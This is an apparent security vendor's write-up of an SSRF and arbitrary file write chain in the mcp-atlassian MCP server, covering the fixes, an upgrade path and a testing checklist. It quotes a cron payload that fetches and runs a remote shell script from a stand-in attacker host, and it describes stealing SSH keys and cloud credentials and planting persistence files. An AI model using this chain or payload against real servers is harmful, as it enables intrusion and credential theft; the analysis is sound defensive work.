Article
mcp-atlassian RCE Vulnerability: CVE-2026-27825 Explained
The CVE-2026-27825 RCE vulnerability in the mcp-atlassian package exploited a network path to a server that bound 0.0.0.0 without authentication, never validated a header, and didn’t check where it wrote files. A network-adjacent attacker with no credentials could reach the tool surface, coerce the server into fetching attacker bytes, and drop them onto disk. This writeup explains the two bugs, how the SSRF and file write chain work together, why the "no credentials needed" framing is true at the transport but not at the CVE, and how to check if your deployment is exposed. Yotam Perkal and Gil Maman of Pluto Security discovered and disclosed the vulnerability, naming it MCPwnfluence. We analyzed the chain because it’s the cleanest example of an AI plumbing component inheriting the worst habits of a 2010-era web app.

The mcp-atlassian RCE vulnerability tracked as CVE-2026-27825 did not need an Atlassian login, a phishing lure, or a single user mistake. It needed a network path to a server that binds 0.0.0.0 with no authentication in front of it, one header the server never validated, and one file-write tool that never checked where it was writing. Put those together and a network-adjacent attacker with zero Atlassian credentials reaches the tool surface, coerces the server into fetching attacker bytes, and drops those bytes onto disk at a path of their choosing. This is a writeup for the people who build and break these systems: what the two bugs actually were, how the SSRF and the file write chain together, why the "no credentials needed" framing is true at the transport but not at the CVE, and how to check whether your own deployment is exposed. The discovery and disclosure belong to Yotam Perkal and Gil Maman of Pluto Security, who named it MCPwnfluence. We pulled the chain apart because it is the cleanest example we have seen of an AI plumbing component inheriting the worst habits of a 2010-era web app.

How does an MCP server end up with no front door?
Model Context Protocol servers sit between an LLM and the real systems it acts on. The Atlassian one, sooperset/mcp-atlassian on GitHub and mcp-atlassian on PyPI, wraps Jira and Confluence and exposes more than forty tools the model can call: read a page, search issues, upload an attachment, download an attachment. Useful, and on the surface boring. It had over four million total downloads by the time the CVEs went public.
The problem starts with how it gets deployed. When mcp-atlassian runs with its HTTP transport (streamable-http or SSE), it binds to 0.0.0.0 on all interfaces and ships with no authentication layer of its own. The mental model most teams carry over from stdio transport, one local process talking to one local client, stops holding the moment the thing is listening on a network socket. Anyone who can reach the port can call any of those forty tools with no credential. That is the piece that makes the chain read as "no credentials needed." It is a property of the default transport, not of the CVEs themselves, and it matters where you draw the line: both bugs are scored AV:A, adjacent network. Think shared office WiFi, a co-working segment, a flat cloud VPC, a compromised neighbor in the same subnet. Not the open internet. Anyone selling you internet-wide unauthenticated RCE here is reading the headline, not the vector.

What is the mcp-atlassian RCE vulnerability, exactly?
It is two bugs that are individually old and well understood, sitting in the same process. Keeping them straight matters, because they carry different privilege requirements and the earlier public write-ups blurred them:
CVE-2026-27826 (SSRF), GHSA-7r34-79r5-rcc9, CVSS 8.2, PR:N: genuinely unauthenticated. The server trusts request headers to decide where to send its own outbound traffic.
CVE-2026-27825 (arbitrary file write / RCE), GHSA-xjgw-4wvw-rgm4, CVSS 9.0 on the GitHub CNA record and 8.0 on NVD, PR:L: a low-privilege primitive, not an unauthenticated one. The attachment download tool writes to whatever path you hand it, with no confinement. The score split is just scope: GitHub scored it S:C (changed), NVD scored it S:U.
So the honest sentence is this. The unauthenticated bug is the SSRF. The file write is low privilege on its own. What removes the privilege barrier in practice is the no-auth transport sitting in front of both. Chain the unauthenticated SSRF with the low-privilege, unconfined write, on a transport that asks for nothing, and a network-adjacent attacker reaches code execution through a short chain without ever holding an Atlassian account.

Step one: SSRF through a header nobody validated (CVE-2026-27826)
The ASGI middleware in src/mcp_atlassian/servers/main.py copies service headers off the incoming request with no validation, and the dependency layer in src/mcp_atlassian/servers/dependencies.py builds the Jira and Confluence clients straight from them. The headers that matter are X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url, each paired with a companion X-Atlassian-*-Personal-Token. This is the actual code:
Any value works for the token, because nothing checks it. Initialize a session, then send any tool call carrying the poisoned header, and the server makes an outbound request on your behalf to wherever you pointed it:
The server, now convinced Jira lives at attacker.evil, sends its request there. Point the header at http://169.254.169.254/ instead and it reads cloud metadata for you, or aim it at internal services it can reach and you cannot, and it becomes your proxy. The Confluence headers behave identically, which is what the file write in step two rides on.

Step two: a file write with no boundary (CVE-2026-27825)
The Confluence attachment download tool, confluence_download_attachment, is backed by download_attachment in src/mcp_atlassian/confluence/attachments.py. Internally it takes a source url and a target_path, forces the path to absolute, and streams the response body to it. There is no base-directory restriction, no traversal check, and no symlink handling:
At the MCP surface the tool does not expose url directly. The caller supplies page_id, attachment_id, and download_path (the bulk download_content_attachments handler uses target_dir). The server resolves the attachment to a URL on whatever it currently believes is Confluence, which is exactly the value the step-one header controls, then writes the bytes to download_path. That path is attacker-chosen and unconfined, so a traversal or absolute path lands anywhere the process can write. The published proof of concept writes a cron file:
The attachment content, staged on the attacker-controlled Confluence from step one, is a cron entry along the lines of * * * * * root curl http://attacker.evil/shell.sh | bash. The server downloads it and writes it straight into /etc/cron.d.

How does a write-anywhere primitive become code execution?
A write-anywhere primitive is only as dangerous as the account it runs under, and that is the detail the loud version of this story got wrong. The write executes as the user running the MCP server process. The published PoC targets /etc/cron.d/mcp-backdoor, which only works when the server runs as root, and plenty of deployments do exactly that inside a container. Where it does not, the same primitive still lands against anything the service user owns:
a file under
/etc/cron.d/when the process is root, for near-immediate scheduled execution.~/.bashrcor~/.zshrcfor the server user, to run a payload on the next interactive shell.~/.ssh/authorized_keysfor the server user, to drop your key and SSH in as that user.a file under
~/Library/LaunchAgents/on macOS, to fire on the next login.
The same bug class also runs in reverse. The companion confluence_upload_attachment tool reads a local file path and uploads it as an attachment, so an attacker points it at ~/.ssh/id_rsa or ~/.aws/credentials and exfiltrates whatever the process can read. Pluto's full chain is short and unauthenticated at the transport: scan for the open MCP port, initialize a session, override the Atlassian URL with a header, read secrets with the upload tool, write a payload with the download tool, and wait for it to run. No Atlassian account anywhere in that path.

This is the same shape of problem we walked through when a plain .git directory disclosure became remote code execution: a primitive that looks limited (read a file, write a file) turns into control once you stop thinking about the tool's intended use and start thinking about the filesystem and the account underneath it.
Why does this keep happening to MCP servers?
The MCP ecosystem grew fast and inherited very little of the security scaffolding web frameworks spent fifteen years building. Three patterns show up again and again, and all three are present here.
The first is transport confusion. A server written and tested against stdio gets flipped to HTTP for convenience, and the implicit "only my local client talks to me" assumption silently becomes false. Nothing in the code changes, but the trust boundary moved onto the network.
The second is trusting the caller for security-relevant inputs. Base URLs, file paths, redirect targets: these decide where the server connects and what it writes, and the server took them from the request without validation. An LLM-facing tool surface does not change the rule that a destination supplied by the caller is attacker input.
The third is over-privilege. These servers often run as a broad account, or as root, because that was the path of least resistance during setup. The blast radius of any write primitive is then the whole host. Drop the account and you shrink the second bug's impact even before you patch it.
None of this is specific to Atlassian. We see the same trio across the MCP servers we assess, which is why scoping an MCP server penetration test looks less like prompt-injection theater and more like classic application testing pointed at a new kind of endpoint.

What should you test on your own MCP deployments?
If you run an MCP server in anything resembling production, this is the short list we would run first:
Check the bind address and transport. Is it on 0.0.0.0 or a public interface, and is there any authentication in front of it? If the answer is no auth, everything below is reachable by whoever shares the segment.
Enumerate every tool that takes a path, a URL, or a filename. Those are your candidate sinks.
Send traversal and absolute-path values into any path argument (
download_pathis the one here) and confirm whether writes or reads escape the intended directory.Send attacker-controlled hosts,
localhost,127.0.0.1, and169.254.169.254into any URL argument or base-URL header, and watch for outbound requests the server should never make.Check what user the server runs as and what that user can touch. Drop it to the least privilege the workload actually needs.
Pin and track versions. For mcp-atlassian specifically, anything below 0.22.0 has a known-exploitable path, and here is why 0.17.0 is not enough.

What did the fixes actually change, and why is 0.17.0 not enough?
Version 0.17.0 closed both original holes with the two functions you would expect. PR #987 added validate_safe_path(), which resolves symlinks, normalizes the path, and enforces that the result stays inside the allowed base directory, then applied it to the download tools. PR #986 added validate_url_for_ssrf(), a scheme allowlist (http and https only) with blocks on localhost and cloud-metadata hostnames, a resolved-IP check, an optional MCP_ALLOWED_URL_DOMAINS allowlist, and a redirect hook so a 302 cannot smuggle the request back to a blocked destination.
Here is the practitioner lesson. That SSRF fix was later bypassed. The check resolved the hostname, validated the IP, and then the HTTP client resolved the hostname again when it actually made the request, a classic time-of-check to time-of-use gap. Point the server at a name you control with a short TTL, answer with a public IP during validation and a private one at fetch time, and DNS rebinding walks the request straight past the guard. That bypass is tracked as GHSA-489g-7rxv-6c8q, affects everything below 0.22.0, and was fully fixed in 0.22.0 by pinning the IP resolved during validation and forcing the actual connection to use it, so the second lookup can no longer change the answer. Correct remediation is upgrade to >= 0.22.0. Stopping at 0.17.0 leaves the SSRF half of the chain reachable.

Frequently asked questions about the mcp-atlassian RCE vulnerability
Is the mcp-atlassian RCE actually unauthenticated? Not at the CVE level. The SSRF, CVE-2026-27826, is the genuinely unauthenticated bug (CVSS 8.2, PR:N). The file-write RCE, CVE-2026-27825, is scored PR:L, a low-privilege primitive, and both are AV:A, adjacent network. The chain needs no Atlassian credentials only because the HTTP transport binds 0.0.0.0 with no authentication, so a network-adjacent attacker reaches the tools. The headline "unauthenticated RCE" describes that deployment reality, not the RCE's own vector.
Which mcp-atlassian versions are affected? Everything below 0.17.0 is vulnerable to both CVEs. 0.17.0 patched them, but its SSRF fix was bypassable by DNS rebinding (GHSA-489g-7rxv-6c8q), so the fully fixed version is 0.22.0.
How do I fix the mcp-atlassian RCE vulnerability? Upgrade to 0.22.0 or later. If you must expose the HTTP transport, do not bind 0.0.0.0 without authentication, put an authenticating reverse proxy in front of it, and run the server as a least-privilege user rather than root.
Is the stdio transport affected? No. The no-auth exposure and the header-driven SSRF are specific to the HTTP transports (streamable-http and SSE). A server using stdio is not reachable this way.
Disclosure
CVE-2026-27825 and CVE-2026-27826 were discovered and reported by Yotam Perkal and Gil Maman of Pluto Security, under the codename MCPwnfluence. The maintainer, sooperset, issued the CVEs and shipped the initial fix in mcp-atlassian 0.17.0 on 24 February 2026, and Pluto published the technical writeup around 26 February 2026. The DNS-rebinding bypass closed the loop in 0.22.0. Primary sources worth reading directly: the Pluto Security writeup, the GitHub Security Advisory for the RCE, GHSA-xjgw-4wvw-rgm4, the advisory for the SSRF, GHSA-7r34-79r5-rcc9, and the NVD records for CVE-2026-27825 and CVE-2026-27826.

At Sudarshana, we blend AI-driven automation with skilled manual testing on exactly this layer: the tool surfaces that LLMs and agents now expose, tested the same way we test any other application, by assuming the caller is hostile and following each primitive to its worst outcome. Automation flags the obvious exposure (open binds, unauthenticated transports, dangerous tool arguments), and senior testers chase the chains that automation alone will miss. Across Penetration Testing, Attack Surface Management, Red Teaming, and Defensive Security, including dedicated AI, LLM, and MCP testing, we help teams understand the real risk in their agentic systems and reduce it before someone else finds it.
Running MCP servers or shipping agentic features? Talk to our team about testing them at sudarshana.io/contact
#MCP #MCPSecurity #mcpatlassian #CVE202627825 #CVE202627826 #RCE #SSRF #ModelContextProtocol #AISecurity #LLMSecurity #AIPentesting #AIRedTeaming #AgentSecurity #AgenticAI #PathTraversal #ArbitraryFileWrite #ServerSideRequestForgery #DNSRebinding #VulnerabilityResearch #OffensiveSecurity #PenetrationTesting #SecurityResearch #AppSec #CloudSecurity #Atlassian #Confluence #ExploitChain #Sudarshana
QUESTIONS
Schedule a call with the team that helped secure these companies.









































